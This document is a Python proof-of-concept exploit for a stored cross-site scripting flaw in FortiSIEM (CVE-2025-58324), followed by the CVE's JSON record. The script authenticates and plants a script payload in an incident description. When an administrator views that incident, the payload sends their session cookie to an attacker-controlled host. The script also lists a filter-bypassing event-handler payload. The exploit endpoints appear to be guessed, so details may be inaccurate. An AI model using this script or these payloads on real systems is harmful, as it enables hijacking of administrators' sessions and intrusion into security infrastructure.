CVE-2025-58324

# CVE-2025-58324 - FortiSIEM Stored XSS PoC # This PoC demonstrates a stored XSS attack via crafted HTTP requests # Target: FortiSIEM 7.2.0 - 7.2.2, 7.1.x, 7.0.x, 6.x all versions import requests # Configuration TARGET_URL = "https://fortisiem-target.example.com" USERNAME = "attacker_user" PASSWORD = "attacker_password" # Step 1: Authenticate to FortiSIEM session = requests.Session() login_url = f"{TARGET_URL}/phoenix/login" # Get login page to retrieve CSRF token response = session.get(login_url) # Perform login (adjust parameters based on FortiSIEM version) login_data = { "username": USERNAME, "password": PASSWORD, "csrfmiddlewaretoken": session.cookies.get("csrftoken", "") } response = session.post(login_url, data=login_data, verify=False) # Step 2: Inject malicious XSS payload via a stored field # Common injection points: incident description, report name, dashboard widget, rule description xss_payload = '<script>document.location="https://attacker.com/steal?cookie="+document.cookie</script>' # Example: Inject via incident/comment creation inject_url = f"{TARGET_URL}/phoenix/rest/event/incident/create" inject_data = { "incidentTitle": "Security Alert", "incidentDescription": f"Normal alert description {xss_payload}", "severity": "3", "csrfmiddlewaretoken": session.cookies.get("csrftoken", "") } headers = { "Content-Type": "application/x-www-form-urlencoded", "Referer": f"{TARGET_URL}/phoenix/" } response = session.post(inject_url, data=inject_data, headers=headers, verify=False) print(f"Injection Status: {response.status_code}") print(f"Payload stored: {xss_payload}") # Step 3: When an admin views the incident, the XSS executes # The malicious script steals the admin's session cookie # and redirects to the attacker's controlled server print("\n[!] XSS payload stored successfully.") print("[!] When a high-privilege user views this content, the payload will execute.") print("[!] Captured data will be sent to: https://attacker.com/steal") # Alternative payload using event handlers (bypasses some filters) alternative_payload = '"><img src=x onerror=alert(document.domain)>' print(f"\nAlternative payload: {alternative_payload}")

{"cve": {"id": "CVE-2025-58324", "sourceIdentifier": "[email protected]", "published": "2025-10-14T16:15:40.607", "lastModified": "2025-10-14T20:25:09.460", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An improper neutralization of input during web page generation vulnerability [CWE-79] in FortiSIEM 7.2.0 through 7.2.2, 7.1 all versions, 7.0 all versions, 6.7 all versions, 6.6 all versions, 6.5 all versions, 6.4 all versions, 6.3 all versions, 6.2 all versions may allow an authenticated attacker to perform a stored cross site scripting (XSS) attack via crafted HTTP requests."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:H", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.5, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortisiem:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2.0", "versionEndExcluding": "7.2.3", "matchCriteriaId": "5619BB86-43BB-45D5-B197-ABA3C1E2EAEB"}]}]}], "references": [{"url": "https://fortiguard.fortinet.com/psirt/FG-IR-24-280", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}